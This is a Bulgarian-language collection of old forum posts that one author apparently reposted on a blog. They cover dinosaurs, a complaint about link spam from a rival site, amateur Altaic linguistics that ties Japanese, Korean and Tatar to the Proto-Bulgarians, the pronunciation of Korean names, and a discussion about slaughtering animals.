.../ на руски.
Не съм много запозната с тях, но мога да кажа някои интересни неща Wink"
"Пуснато на: Пет Апр 07, 2006 3:11 pm
А ето и нещо на български, като за начало, да се запознаете с темата.
Има всичко, което ви трябва и е забавно:
http://www.dechica.com/nauki/dinosaurs/alldino.htm"
adi
(Зооприятел): "Пуснато на: Пет Апр 07, 2006 3:15 pm
ооо много са ми любими Razz -преди години исках да ставам палеонтолог но се оказа, че за целта трябва да се учи история и се отказах Sad"
...
...
...
ПЕТЯ: "Пуснато на: Нед Апр 09, 2006 7:05 pm
Според мен няма вече динозаври защото една огромна комета се блъснала в Земята и всички динозаври умрели Sad Но така е по-добре защото те са месоядни Wink"
ophidia: "Пуснато на: Нед Апр 09, 2006 8:19 pm
Въпреки всичко много животни са оцелели и днес все още са между нас.
Например крокодилите, хлебарките и растението гинко"
ПЕТЯ: "Пуснато на: Нед Апр 09, 2006 8:27 pm
Много красиво растение но за първи път го чувам Rolling Eyes"
ophidia: "Пуснато на: Нед Апр 09, 2006 9:08 pm
декоративно, парково растение.
В Монтана го има на няколко места в градините."
Мъгълче
(Парцалена кукла): "Пуснато на: Пет Апр 14, 2006 9:25 am
Поради каквато и причина да са загинали динозаврите, не можеш за съдиш, че така е било по-добре. По-добре е от гледна точка на това, че ако те бяха още живи, нямаше да ни има нас. Но дали е по-добре за планетата (няма да говорим сега за това, че и за динозаврите си е по-добре да си живуркат Smile )? Някой от вас дали е чел "Юрски парк" и "Изгубеният свят" на Майкъл Крайтън?"
ПЕТЯ: "Пуснато на: Нед Апр 23, 2006 9:39 pm
Аз съм чела Динозаврите Wink"
...
...
-
На последните бях отговорил, че според някои биолози е възможно динозаврите, в случай, че са оцелели, да прозведат някои представители, близки като интелект до днешния човек. Така че, те, поради предполагаемото си по-ниско АЙКЮ е можело и да не произведат компютъра, но определено са щели да се занимават с някаква индустрия, което да породи, ако не подобни, то дори по-големи проблеми от днешните, екологични, за които се говори в този пост.
НАИВНО е да се мисли, че динозаврите е нямало да претърпят еволюция до нивото на някакъв по-сериозен интелект.
-
От 2010 година (във връзка с първата българска виртуална кръчма):
1. - Една от поредните "сателитки", т.е. спам (линк-спам!).
07.12.2010 12:27
Една от поредните сателитки, целящи да издигнат Krachma.com преди http://www.kry4ma.com... Да, но не се получава. Както знаем, това е един линк-спам.
Хайде да не говорим и за езиковите грешки на този пишман-"оптимизатор", който не знае, че да оптимизираш, грамотността е нещо важно. Писал оптимизиращия "НЯКОЙ от мъжете бяха", без да си дава сметка, че бърка единствено с множествено число. Писал и оФца, вместо "овца". За пунктуация да не говорим. Каквато му езиковата грамотност - такава му и оптимизацията - не можа да ни измести нито като позиция в Алексата, нито като стойност в оценяващите онлайн-сайтове, нито като ранкване в Гугъла. Просто със спамене не става, мой човек, не става...
2. 12.12.2010
Kry4ma (www.kry4ma.com) е първата българска виртуална кръчма . В тоя смисъл опитите на krachma.com да се изкарва първата, че дори и единствената са жалки. Да не говорим за спама им, който се опитват да пробутват (линко-колело правели), че да излезнели по ключовата дума "kry4ma" преди нас. Този спам присъства и в Блог.бг в профила kry4ma.blog.bg. Там вече кометирах с това: "Една от поредните сателитки, целящи да издигнат Krachma.com преди http://www.kry4ma.com... Да, но не се получава. Както знаем, това е един линк-спам.
Хайде да не говорим и за езиковите грешки на този пишман-"оптимизатор", който не знае, че да оптимизираш, грамотността е нещо важно. Писал оптимизиращия "НЯКОЙ от мъжете бяха", без да си дава сметка, че бърка единствено с множествено число. Писал и оФца, вместо "овца". За пунктуация да не говорим. Каквато му езиковата грамотност - такава му и оптимизацията - не можа да ни измести нито като позиция в Алексата, нито като стойност в оценяващите онлайн-сайтове, нито като ранкване в Гугъла. Просто със спамене не става, мой човек, не става..."
Ще се радвам, ако хората не се подвеждат.
-
Мои мнения от друг форум, който напуснах отдавна и, които заслужават да имат своето място тук. От 2010 година са:
Реших аз да отворя темата за алтаистиката. Това е наука, която се занимава с Алтайските езици:
-Японска група
-Корейски език
-Тунгусо-манджурска група
-Монголска група
-Тюркска група
Понеже вече писах по някои въпроси, припействам по-важните тук, за да не се губи инфото за заинтересуваните:
Алтайската работа е голяма работа, отдето и да го погледнеш. Да знаеш само колко сходни татарски и корейски думи има, а и татарски и японски...личи си общият корен. Примерно ЖЕРАВ на корейски е ТУРУМИ, а на татарски е ТУРНА. Около 15-20 % от думите си приличат. С японският е почти същото - примерно японското КУРО значи черен, а това на татарски е КАРА...Неизчерпаема тема!
---
Всички фенове на лингвистиката и, конкретно, на АЛТАИСТИКАТА да са наясно, че родството на думите може да се проследява НАЙ-ВЕЧЕ в по-прости думички. Да речем, ако сравняваш 2 родствени езика по-голяма вероятност е да имат родствени, с общ корен, думи от рода на СЛЪНЦЕ, ВЪЗДУХ, ПТИЧКА, а не някои понятия като ДИАЛЕКТИЧЕСКИ МАТЕРИАЛИЗЪМ или ТЕЛЕВИЗИЯ.
Сарангхе (Сарангхейо)/корейски/ и Аишитерю /японски/ значат "ОБИЧАМ ТЕ" (за суки-то не знам какво е - може да ме просветиш). Така че има вероятност ОБИЧАМ ТЕ като думичка не толкова нова за човечеството да има сходства в езците.[/color ]
В случая с тези 3-те (японски, корейски и татарски) има едно неудобство - ГОЛЕМИЯТ БРОЙ ЧУЖДИЦИ И ЗАЕМКИ в тях - докато японците и корейците имат много китаизми и англицизми (стигали са и до 70 % от езика им, представете си!), то при татарския има много персизми, арабизми и русизми. Това е нормално, предвид историята на тези алтайски народи и различното им географско разположение. Това беше необходимо въведение, за да разберете, че АЙШИТЕРЮ излиза извън строя, защото идва от китайското ОБИЧ/ЛЮБОВ - "АЙ" （пише се така: 爱, ако са ви китаизирани комповете, ще го виждате като йероглиф, ако ли не - ще ви излиза като квадратче）. Така че остава САРАНГХЕ или САРАНГХЕЙО да видим с кое татарско любовно нещичко е родствено. Коренът на тези думи е САРАНГ (обич)/да не се бърка със САРАМ = човек!/ В татарския родственото е СЬОЙ или СЮЙ (според диалекта), което има родство със САРАНГ-а. Най-родствения начин с корейския език е, ако кажеш "СЬОЯМЕН СИНЕ", почти звучи като "САРАНГ-ХЕ", иначе си има и други начини, но тоя е "най-корейския"
Извинявам се, ако съм писал в тази тема повече лингвистично, отколкото трябва. Моля душичката Сиерра или друга душа или душ (това е мъжки род на "душа" ) да ми дадат линкче към някои яки алтайски дебати, ако има такива тука. Ще ви разкажа много интересни неща за аналогии между КОРЕЙСКИ и ПРАБЪЛГАРСКИ, например. Това Алтаистиката ми е голямо хоби, макар и по образование да съм философ (философ-антрополог, по-точно)
----
Интересни неща са, особено, за хора, които обичат Алтайските народи и култура (а татарите и прабългарите са си алтайци, от западно-хунския клон на тюрксата група в Алтайското семейство).
----
За "суки"-то, предполагам, че може и да е с алтайски произход.
Погледнах в Алтайската база-данни и открих, че има няколко суки-та в японския.
1. Суки = плуг (родствено с прамонголското СЮКЕ = брадва, както и с доста тунгусо-манджурски думи за нещо остро, пробиване и пр.)
2. Суки (праяпонски) = село (родствено с пракорейското СЪКУР = провинция, село)
3. Суки-яки = вид японско месно ястие (родствено с прататарското СЬОГЮЛ = печено месо)
И.Т.Н.
Интересна е и възможната връзка между новопрабългарското (чувашко) ШЪЛДЪР /красиво/ и японското САСО /съблазън/. Смята се, че произлизат от общия праалтайски език, от думата САЛО (обич, обичане, обичам)
И за десерт - по любимата ти сексуална тема една дума:
В старояпонския има дума КУНАГАПИ значеща "съвкуплявам се" (в среднояпонския става КУНАГ). Родствена е с прататарското КЪН, което желание, стремеж, сексуално желание и от сорта.
----
В България има татари. Идването им е свързано с няколко вълни. Най-ранната е тази на Златната Орда, когато и се сформират татарите (те са основно кумани, смесени с монголи и прабългари; куманският език и днешният татарски са почти едно и също нещо). Последната е след разгрома на Кримското ханство. Много от румънските и българските татари са в малка или голяма степен турцизирани (в смисъл не правят голяма разлика между турско и татарско и/или говорят на турски и български/румънски, но не и на татарски). Много от тях даже не предполагат, че имат общ корен с японци, корейци, тунгусо-манджури, монголци, казахи, прабългари/чуваши и пр. Но това е друг проблем - сред самите японци, корейци и пр. също има доста народ, които не знаят, че си имат нещо общо с татарите (ако са чували за тях) или с монголците, примерно. Защото то едно е да имаш нещо общо, а съвсем друго е да си го осъзнал, да си го научил.
Далеч съм от мисълта, че всички татари са много готини и страшно работливи , но не е лошо да има всеки народ такъв имидж. Всичко си е до конкретния човек. Щом гледате корейски, японски и пр. сериали, значи че сте се образовали доста за народите извън България и сте видели, че всред всеки народ си има всякакви чешити: работни-мързеливи, страхливи-бойно, учени-тъпи...
Ако някой се е заинтересувал - Кримските татари (голямата част от българските татари са точно с Кримски произход) имат 3 диалектни зони - южна, средна и северна. Южната е била най-много под Османско влияние, затова и тя се е турцизирала най-силно. Останалите две си говорят на кумански. Това пояснение го правя в случай, че някой път откриете, че дадена татарска реч е всъщност почти турска. МАКАР ЧЕ ЗА НЕТРЕНИРАНОТО УХО даже японския може да звучи като турски:
Незабравима си остава случката от един общ чат на времето от град в Добруджа, където има български турци и съответно анти-турски настроени българи. Значи в тоя чат имаше някакъв ГОЛЯМ ФЕН на Япония. И по едно време се вдъхновил човека и реши да напише изречението "АЗ СЪМ САМУРАЙ!" на японски. Пише си го "Watashi-wa samurai des!" (Уаташи-уа самурай дес!) и реакцията е мигновена и разбийствена:
-Абе ти и на турски ли почна да пишеш, бе майка ти #$%!
Хаха.
----
За куманите - куманите са били много родове и много обединения. Понякога са печелили битки срещу Руските княжества и др. , понякога са губили. Специално за България - част от Западните кумани (щото Дешт-и-Кипчак или КУМАНСКАТА СТЕП е била от България до днешен Западен Китай) СА НАЙ-ПЛОДОТВОРНИТЕ съюзници до падането им под Монголска власт.
3 български династии са от кумански произход (то си личи и по куманските им, алтайски имена):
-АСЕНЕВЦИ
-ТЕРТЕРОВЦИ
-ШИШМАНОВЦИ.
Отделно много кумани са имали регионална власт като - Елтимир (Алдомир), Балик и пр.
Като цяло Второто Българско царство е кумано-българско.
За унищожаването на куманите - не са унищожени, просто днес са познати под различни имена (подобно на това както българите, примерно, са познати под различни имена - бесарабски българи, македонски българи, тракийци, добруджанци, шопи, торлаци, капанци и т.н.). В смисъл - има си народности: казански татари, литовски татари, кримски татари, астрахански татари, ногайци, кумъки, които по език и по други части от културата не са толкова различни помежду си и просто са потомци на куманите, леко видоизменени с времето.
А виж хазарите (те са били от същата тюрко-алтайска Р-група като прабългарите, даже според някои изследователи са едно от прабългарските племена) май са изчезнали, макар и според някои днешните кримчаци и карайлари да са им потомци (проблемът при тях е, че макар и да са с хазарска религия, говорят на кумански и не е много сигурно дали са някакви потомци на хазарите).
Допълнителни сведения за Р-групата:
Алтайските народи в началото са били само 1 праалтайски народ. После почват да се делят докато се стигне до днешното им разнообразие. Ето как е станало разделянето:
1. Алтайски голям народ.
2. Отделяне на Западен и Източен дял. Западен = тюрко-монголци; Източен = Японо-корейо-манджури.
3. Разделяне на Монголския и Тюркския народ (хуни). Все още неразделен японо-корейо-манджурски народ.
4. Монголски народ, Тюркски народ (хуни). Разделяне на манджурите с корейо-японците.
5. Отделни тюркси народ, монголски народ, манджури, отделяне на японците от корейците.
Общо взето това е. Та на онзи 3-ти етап, в най-ранните му моменти едни тюрки (хуни), все още пазещи много тюрко-монголски елементи в речта си (преобладаването на звуковете Л и Р, за разлика от тези на останалите, по-късни тюрки, при които ще преобладават З и Ш) се отделят от останалата тюркска маса и се придвижват към Европа. Точно това са хуните или хуно-българите (прабългарите). По въпроса защо хуни и прабългари е едно и също може да поговорим в отделен пост.
Р-тюрките или ЛИР-тюрките са: прабългари (хуни), авари, хазари и днешните чуваши. При тях много думи са се консервирали като тюрко-монголски или тюрко-алтайски, следователно по-често може да се намери прилика с японските, корейските, монголските и тунгусо-манджурските такива. Прост пример: КАМЪК - в обикновените тюркски езици е основно ТАШ. Да, но в чувашкия (новопрабългарски език) е ЧУЛ или ЧОЛ. Това е родствено с монголското ЧУЛУУ и с корейското ТОЛЬ.
Очаквам въпроси и включвания по темата. Иначе аз, от време на време, ще пиша по нещо в нея.
Първо да кажа за Асеневци и Шишмановци - за Шишман е сигурно (http://bg.wikipedia.org/wiki/%D0%A8%D0%B8%D1%88%D0%BC%D0%B0%D0%BD%D0%BE%D0%B2%D1%86%D0%B8 - тук има разни линкове, в английската версия също), а за Асеневци се предполага, че са кумани или печенеги по различни причини. "Асен" е тюркско име. Имало е печенеги на Византийска служба със същото име. Отделно е родствено на тюркютското АШИНА или АСЕНА. Асеневци са царе на българи и власи, а според един истори под ВЛАХ тогава се е разбирало не днешните власи, а КУМАНИТЕ. През цялото време имат тесни отношения с куманите, даже Бориловата жена е куманка. Доста има писано по темата из нета.
На 2010/12/29 at 16:18, Stelita написа:
Много интересна информация, наистина. Признавам си, че всичко, което прочетох, беше нещо ново за мен. Ново и интересно. Въобще не подозирах колко надалече се простират корените ни. Благодаря за информацията, полезна и интересна е, за тези, които проявяват интерес към лингвистиката. Дори и чисто любителски, (като мен, например :)) Бих се радвала на още информация. Приятно поднесено интересно четиво, никога не е излишно :)
Правилно :)
За корените - всеки народ е съставен от различни народи, така че прабългарите са само един от корена на българите, македонците, някои от татарите, чувашите, башкирите и др.
Ето и следващото ми интересно материалче:
ТИТЛАТА "ХАН" У ПРАБЪЛГАРИТЕ СИ Е АЛТАЙСКА
Забележете алтайските сходства-аналогии:
1. Японски
КАМИ
2. Пракорейски - Пекче:
КА
3. Пракорейски - Силла:
Кан
Хан
4. Пракорейски - Когурьо:
Ка
Кай
Кайсе
5. Тюрко-монголски
Каган
6. Манджурски
Хан
===
Други:
Пракорейски-Сила:
Късъ-кан = Крал
Корейски
Хана = Едно
На 2010/12/29 at 18:42, pe6ito написа:
Аз искам да вмъкна само нещо, че (поне така съм чела) японският не се причислява към нито едно езиково семейство, макар някои от характеристиките му да се свързват с тези на езици от други групи и семейста. В случая са отбелязани повече лексикални особености, които не мисля, че са основен критерий (за заемките и чуждиците). Като сме почнали темата трябва и някой от японистите също да се изкаже...
Това е старо инфо. След трудовете на гениалния Старостин (създател и на първата цялостна Алтайска база-данни в света) японският може да се счита за доказано-алтайски език. Освен лексикалните съвпадения има и граматически, фонетически...според мен въпросът с принадлежността на японският е приключена. Най-близък е с корейския (около 25 % съвпадения), но има родство и с тюркските езици (до 15%).
Ето едно добро обяснение как стоят нещата вече от руската Уикипедия:
Цитат
Генетические связи японского языка до конца не выяснены. Японский может рассматриваться как изолированный язык (если включать его в одну группу с рюкюским — японо-рюкюские языки). Также существует гипотеза, (поддержанная, в частности, С. А. Старостиным), согласно которой японский относится к языкам алтайской семьи, пуёской группы, наряду с современным корейским и пуёскими (древнекорейскими) языками, со значительным австронезийским субстратом и китайским адстратом. Грамматическая структура японского языка весьма близка корейскому. И немало слов языка Когурё (древнего княжества на территории Северной Кореи) и, в меньшей степени, других пуёских языков, находят параллели в древнеяпонском языке[2].
Лексика японского языка может быть сопоставлена с лексикой алтайских или австронезийских языков, причём наиболее вероятным признаётся сопоставление с алтайскими языками, в особенности с языками пуёской группы. Как и корейский, японский испытал сильное лексическое влияние китайского языка, однако ввиду того, что это влияние в основном сказалось на лексике и почти не затронуло грамматику, японский язык не относят к сино-тибетским.
http://ru.wikipedia.org/wiki/%D0%AF%D0%BF%D0%BE%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA
За тези, дето не знаят руски - обобщавам: Японския и Рюкюските езици са групата на Японските или Японо-Рюкюските езици. Може да се разглежда и като ПУЙО-СКА ГРУПА - наред с корейския, пуйоския (древнокорейски), със значителен австронезийски субстрат (това е от аборигените на японските острови, които са от типа на днешните филипинци, например) и китайски адстрат (защото китайската култура много е влияла)
Още за титлата ХАН, КХАН или КАН:
"КАН е донякъде правилно, защото в прабългарският и в много други езици - например КАЗАХСКИЯ, ТАТАРСКИЯ си има един звук, който е между К и Х, та най-правилно е да се пише КХАН, но и КАН може. Ние сме си свикнали да го пишем ХАН, но да знаете, че е било нещо между К и Х. Също като името на Аспарух, което е било най-вероятно с К накрая и е звучало по-скоро като "ЪШБЪРЮК", родствено с Тюркютската династия - ЪШБАРА (АШБАРА). Даже някои си мислят, че това не е било лично име, а титла на хана, защото знаем, че баща му - Кубрат е бил дълго време в зависимост от Тюркютите (Тюркютския хаганат се е простирал приблизително от западните граници на днешна Корея до Черно море и Кубратова България е била част от него известно време). "
На 2010/12/29 at 21:01, pe6ito написа:
Е, според мен този въпрос не е особено приключен, щом далеч по-компетентни лица все още го мъдрят... А и ако ще си цитираме цитати от Уикипедия, при условие, че в руската пише почти същото като в българската (е, може да е малко по-пълно) - според английската (http://en.wikipedia.org/wiki/Classification_of_Japanese) има поне 7 хипотези за принадлежността на японския. Това че принадлежи към алтайската група е само една от тях...
Според мен е приключен, защото за Старостин (който, заедно с екипа си е един от най-възможно компетентните) е бил приключен (вечна му памет!)
Да обобщим - Пешито е съгласна с това, че японският език има много алтайска лексика, алтайска граматика и алтайска фонетика, нооооо...не й се вярва той да е алтайски език. Ами добре, Пеши - избери си на какво да вярваш - аз, според моето "алтайско ухо", според висшето си образование и според големия си опит с Изтока, намирам, че алтайската теория е най-правилната и най-доказана не само ЛИНГВИСТИЧЕСКИ, но и:
а) антропологически (расовите типове на японците)
б) исторически (археологическите находки и обособяване на културите, свидетелстващи за преселение на алтайци от Корейские полуостров).
в) културологично (аналогиите в културата с други алтайски народи, извън сино-тибетското влияние)
г) генетически (макар и това да са само помощни данни при подобни изследвания)
Ако случайно смяташ някоя от останалите 6 хипотези за по-доказана, ще се радвам да я представиш и да обясниш защо смяташ така. На някои хора (не знам дали си от тях) направо им се бръква в здравето, когато разберат, че японците не са никак уникални и са доста свръзани с разни други народи, включително и с тюркските. Но фактите са такива. И няма нищолошо в това японците да са роднини с монголците или с каракалпаците, или с татарите.
Всъщност аз се зачетох и в английската версия (мога да чета на 7 езика, всъщност), та веднага уточнявам нещата. Тези СЕДЕМ ХИПОТЕЗИ всъщност не са всичките по-различни от Алтайската.
И така: 1) Алтайската, която аз намирам за най-правилна. За нея вече стана дума.
2) Японско-Когурьоската. В превод това ще рече Японо-пракорейска. Сиреч - пак алтайска, защото пракорейските езици се класифицират от повечето именно като алтайски.
3) Японо-корейска. Същата работа. ДАЖЕ АЗ ЕЙ СЕГА ЩЕ Я ДОПЪЛНЯ В ПОЛЗА НА АЛТАЙСКАТА ТЕОРИЯ, СПОРЕД ПРИМЕРИТЕ, КОИТО СА ДАЛИ - много ще е интересно, обещавам (защото това, което е родно между КОРЕЙСКИЯ и ЯПОНСКИЯ, не са се сетили да му намерят родството и с ТАТАРСКИЯ, примерно, но аз затова съм тук, за да ги правя тези неща. Гледайте сега виртуозно доказателство:)
1. Японското КИ (КУ, КО) било "ИДВАМ", а на корейски било ГА. Бай Гесер допълва, че на татарски, пък, е КИЛ или КЕЛ.
2. Японското КАТА- било "ДА Е ТВЪРДО", а на корейски било ГУТ-. Бачо ви Гесерчо веднага ви светва, че на татарски КАТЪ е ТВЪРДО
3. Японското И било "СЪМ", а и на корейски било И. Батко уточнява, че това е един от най-старите алтайски елементи, явява се КОПУЛА, както са написали и на татарски също произлиза от И, днес го има под формата -ИДЕ.
4. Японското НА било "НЕ, НЕДЕЙ", а на корейски пък било АНИ и АН. Тук с голямо задоволство батенцето казва, че в ЧУВАШКИЯ също е АН, напр. "АН КУЛ = НЕ СЕ СМЕЙ!", а в ТАТАРСКИ е МЕС или ЕМЕС, което също има алтайски произход
Ако още има съмнения за алтайкостта на японския, ще продължим. (За останалите хипотези в момента няма да говоря, защото примерно Креолската твърди, че езикът на японците е алтайско-австронезийски, което не е много далеч от истината и, което потвърждава алтайската теория донякъде, а Дравидийската е изначално погрешна).
На 2010/12/29 at 23:34, mike написа:
Гесер, има една българска документална поредица: "Българите" на Бтв с автор Камен Петков. Доста интересна е, екипът обикаля всички места, свързани по някакъв начин с прабългарите. Струва ми се, че ще ти бъде любопитно да я гледаш, ако не си го сторил вече.
Благодаря, но нямам възможност да гледам БГ-телевизия, защото живея в Китай.
Преди гледах една, където искаха да докажат, че прабългарите са с ирански произход, но така и не успяха. Там поне показаха чувашите, които са най-преките потомци откъм език и култура, а и вероятно по генетика, на прабългарите.
На 2010/12/29 at 22:54, ifka написа:
Браво за темата, доста интересна и подробна информация си дал; но моля те не се доверявай и не смятай за точна и прекалено достоверна информацията която четеш в интернет пространството ;) а що се отнася за българите и за произхода на българските династии има достатъчно български писаници които се опитват да доказват някакви тези и хипотези колко успешно е др въпрос, а за името Асен незнам от какъв произход е, но Асен I е носел името Белгун а братята му Петър и Калоян /Теодор и Йоаница/ ; безспорен факт е че хуни, авари и какви ли още не, идват на Балканите, но е вярно и че се претопяват в различни "етнически групи" т.е прав си но само донякаде. Интересно четиво, не съм запозната с японската история и ще ми е любопитно да прочета още инфо за тази Алтаистика :)
Е, аз съм завършил философия и то с магистърска степен и не съм толкова доверчив. Някои от източниците, които ви казвам съм ги чел още, когато нямаше Интернет в България, т.е. на книга или във вестник, списание. За нет-пространството - зависи от източника.
Да, забравих да кажа, че освен тюркското име АСЕН, той е носил и тюрксата титла БЕЛГУН, което значи ЗНАЕЩ, КОМПЕТЕНТЕН. И до днес на татарски БЕЛЕМ (БИЛИМ) е ЗНАМ, а БЕЛМЕС е НЕЗНАЕЩ, ПРОСТ. Роднината на Асеневци - Борил също е с тюркско име.
Разбира се, че всички се претопяват - аз не съм твърдял, че има чист народ. Всичко е омешване в движение. А и на повечето не им е пукало много кой какъв е по народност - държели са повече на кланова принадлежност, държавна принадлежност, религия.
А за алтаистиката - питайте и, ако знам, ще кажа или поне ще намеря нещо, защото съм свикнал през последните 6-7 години да намирам по тоя въпрос.
На 2010/12/30 at 0:13, pe6ito написа:
Не мисля, че има какво толкова да се обобщава в лаконичните ми коментари, още повече, че никъде не съм написала в какво вярвам и в какво - не, та дали изобщо вярвам в нещо.
Просто според мен всяко монета си има 2 страни и не мисля, че това, че ти си привърженик на едната, трябва да я прави меродавна...
А така. Хайде сега пак да напиша за онези 7, които ти си отбелязала:
1-та е Алтайската. Останаха 6. Втората е пракорейско-японска, т.е. част от алтайската - няма противоречия. Трерата е Корейско-японска - също няма противоречия, ДАЖЕ ДОКАЗАХ как си пасва супер с тюркските езици (татарски, чувашки). Четвъртата е креолската - т.е. казва нещо, с което и Алтайската теория е съгласна - че в японския има много австронезийски субстрати, но понеже лексиката и граматиката, и фонетиката са алтайски, то той се причислява към Алтайските езици. Дравидийската е сбъркана, те си го пишат там, т.е. тя е петатата. И шестата е чистата Австронезийска за която пишат в прав текст "One of the less accepted theories" (превежда ти: ЕДНА ОТ НАЙ-МАЛКО ПРИЕМАНИТЕ ТЕОРИИ).
Е, на тази база, ако смяташ, че е по-добре да сме на твоята АГНОСТИЧНА позиция - окей. Аз съм на позицията на най-доказаната и най-популярната вече - Алтайска теория. И мисля, че всеки един човек, който види, че даден език като лексика, граматика и фонетика е АЛТАЙСКИ, то го причисляваме към алтайските, особено, ако в подкрепа на това говорят и други научни сфери - културология, археология, генетика, история.
Нямам какво да добавя.
-
Пак от същия - този път основно кореистика:
На 2010/5/11 at 5:21, Arina написа:
И моето е много хубаво : Soo-Yun (수윤) - " flawless lotus "
Интересно на какъв принцип ги генерира, при положение, че си ГЕРГАНА (или както се чете на корейски ГЕРЪГАНА) :)
На 2010/5/14 at 2:32, YoTo написа:
Приятно ми е Kang Dong Hoon ..[ама колко мъжко ми звучи не е истина xD :huh: ]
Защото си израстнала в култура/език, където има родове. В Алтайските езици няма род. Всичко е едно и също. Ако някой чете текст, по глаголите не може да се познае дали е го е писал някой или някоя. И това нищо не е. В китайския освен, че липсват родове, даже и множествено число липсва за неодушевените предмети. Примерно, ако искаш да кажеш, че има много дървета казваш, че има МНОГО ДЪРВО и те се сещат, че не е само едно.
На 2010/5/21 at 8:27, mira71 написа:
Kim Ha Kyo - някой може ли да ми каже как се произнася.... защото ми звучи ужасно :blink:
Аз мога. КИМ ХА-КЬО.
На 2010/5/23 at 17:34, ddzaz написа:
Park Eun Won-защо ми звучи като име за момче? <_<
Защото си израстанала в култура, където повечето женски имена завършват на -Я, -НА и пр. Сигурен съм, че корейският ПЕВЕЦ "А ХУ НА", ще ти звучи като жена.
На 2010/12/2 at 7:26, Daible написа:
Генераторът е малко по-истински, защото поне си избираш пол. :)
Та, според него е Park Soo Ra - Со Ра звучи добре.
Другото ми е доста смешно - Sung Dong Ki, защото при първи прочит собственото име, произнесено заедно, звучи като "donkey" (сиреч "магаре"). Ах, магарицата аз! И все пак поне "Ki" обикновено се произнася "Ги". :lol:
... И ми звучи като мъжко име, каквото по-всяка вероятност е.
Мисля, че ще е СУ РА, а не СО РА. Ако искаха да се чете СО, щяха да си послужат със "Soh". Така е Soo, а това е СУ.
Цялото име се чете "Пак Су-Ра".
На 2010/7/11 at 4:35, vaniliika написа:
Choi Hye Mi :blink: .. усещам неква смесица между мъжко и женско ама се тая .. <_<:D
Женско е това. "МИ" иде от китайското "МЕЙ" (美) и значи КРАСОТА. Дава се обикновено на момичета.
На 2010/6/2 at 22:50, Ishikawa_Michiyo написа:
Park Hye In ^-^ някой знае ли как се чете Hye ?
"Хье" , т.е. с меко "Е", както го изговарят във Варна и др. места от Източно-българския говор. Цялото е Пак Хье-Ин.
На 2010/10/7 at 3:23, mims3 написа:
Това е първият вариант - Moon Seo Hyo
А това е вторият - Kang Yong Byung
Първото повече ме кефи! :lol: А някой да знае как се произнасят??
Аз.
1) Мун Съ-Хьо , 2) Канг Йонг-Бюнг.
На 2010/7/12 at 14:47, amita написа:
Shin Rae Soo
Малко тъп въпрос все още съм нова тук ъъ на Rae, е-то четели се? и Soo как се прознася Со или Су?
Първо трябва да е ясно, че в корейския няма Ш, така че първото е СИН. Второто е САМО "Е", т.е. РЕ. А третото е СУ.
Т.е. - СИН РЕ-СУ.
На 2010/10/7 at 14:33, zlaty_pet написа:
Мун Со Хьо и Канг Йонг Бьонг
За по-сигурно - Спиди да каже!
Може и Со, вместо моето Съ. Работата е в това, че този звук е нещо между О и Ъ, така че както си изберете.
-
В днешно време съм малко по-осведомен за корейското "ㅅ" - преди йотирана гласна се чете близко до "ш" (но не съвсем). А и, пропуснал съм да кажа (това си го знам отдавна), че понякога и като "т" (в края на сричката) - примерно 맛 [мат].
Ето и повече от онова време, след като ме доосведомиха и се доизяснихме:
На 2010/12/30 at 5:27, speedy86 написа:
Понеже в тая тема влизам веднъж на високосна, моля който ще ме пита кое как се чете, да пише на ЛС.
Гесер, в грешка си, мой човек. Пред И или йотирана гласна ㅅ се чете именно Ш. Гледай като даваш компетентни мнения, поне да са верни. ;)
Спиденце, мненията, когато са компетентни, то са и верни. Компетентно-и-невярно мнение е ОКСИМОРОН. Така че да оставим евтината риторика (може и "рЕторика" - дублетни форми са!) и да видим как стоят нещата:
а) В руската уикипедия ИЗРИЧНО са подчертали, че ШИН е неправилно, а трябва да се изписва на кирилица като СИН.
http://ru.wikipedia.org/wiki/%D0%A8%D0%B8%D0%BD_(%D0%BA%D0%BE%D1%80%D0%B5%D0%B9%D1%81%D0%BA%D0%B0%D1%8F_%D1%84%D0%B0%D0%BC%D0%B8%D0%BB%D0%B8%D1%8F)
б) Работата е там, че тази съгласна в конкретния случай пред гласната "И" се произнася като нещо средно между Ш и С, нещо подобно на Казанско-татарското "Ч", което клони към "Ш".
в) Нека видим как се транскрибира от другите системи:
Според 국어의 로마자 표기법 това е "Sin"
Според McCune-Reischauer romanization това е пак "Sin"
Според Система Концевича това е "Син".
И след всичко това аз трябва да се съглася, че е по-редно на български да се транскрибира като "Шин"?
Опитай се да ме разбереш, че не съм съгласен с мнението ти.
-
Пак от същия форум - по темата за коленето на животни (аз съм против и мога да карам без месо - на вегетариански начала - е, разбира се и с мляко, кашкавал, яйца, т. е. вегетариански, а не вегански... но никой не ме пита/не зависи от мен, демек):
На 2010/12/29 at 1:02, sme6ko88 написа:
Да, клипчето не беше от най-лицеприятните, но... и тук идва голямото НО:
Гледал/а ли си как се коли прасенце за Коледа? Е почти същото е! Ще кажеш "Но това са делфини", а аз ще отвърна, че в различните култури различни неща се смятат за деликатес. Ако пуснеш например в Индия как някой българин прави същото с някоя крава, сигурно и те ще ни нарекат изроди. Не може да обиждаш някоя култура само заради нещата, които яде. Аз примерно харесвам филе от акула... и прасенце... и кравичка... Но не смятам, че съм изрод. Това е лично мое мнение, не се нахвърлям върху теб и това по никакъв начин не е нападка, но това което си пуснал/а не заслужава цяла тема... Отново лично мое мнение.
Ама разбира се. Човекът е хищник, както съм писал и по-рано - дали ще колиш делфин, змия, прасе, куче, заек е все тая.
Знае ли човекът, който се е възмутил, че някой убива делфин как ще погледнат на него тези, които смятат КРАВИЧКИТЕ за свещени и разберат, че той ги хапва, а?...
Даже и вегетарианци да станем - пак много неща ще се убиват - визирам растенията. Да извадиш един ЖИВ морков и да го нарежеш и после надъвчеш не е ли убийство? Ама няма как. Така е станала еволюцията.
Точно така! Много зряло разсъждава Зенитчето! :)
Аз да добавя - прасето е роднина на делфините и също е много интелигентно, и разбира, ако някой иска да го коли. Отделно, ако са живели 2 прасета и заколиш едното, другото изпада в депресия и може да умре.
Ако някой се интересува от роднинските връзки между прасета, хипопотами, делфини, косатки и китове може да види тоя материал, който е и в контекста на източните теми: Еволюция и родство на прасетата. (линкът в момента, 2017, не е достъпен.)
Отговорено 3 Януари, 2011
На 2010/12/30 at 17:32, Zenith написа:
Е да, ама делфините, за разлика от китайците, са ни кът бройката :D
PS.Много съжалявам, ама трябваше да го напиша.
Тук и аз съжалявам, че го написа, защото не е хуманно да се разсъждава така. Дали един народ има много или малко хора, на никой друг народ не дава право да ги избива.
-
Пак от същия - малко за китайските транскрибции на български имена:
тговорено 3 Януари, 2011
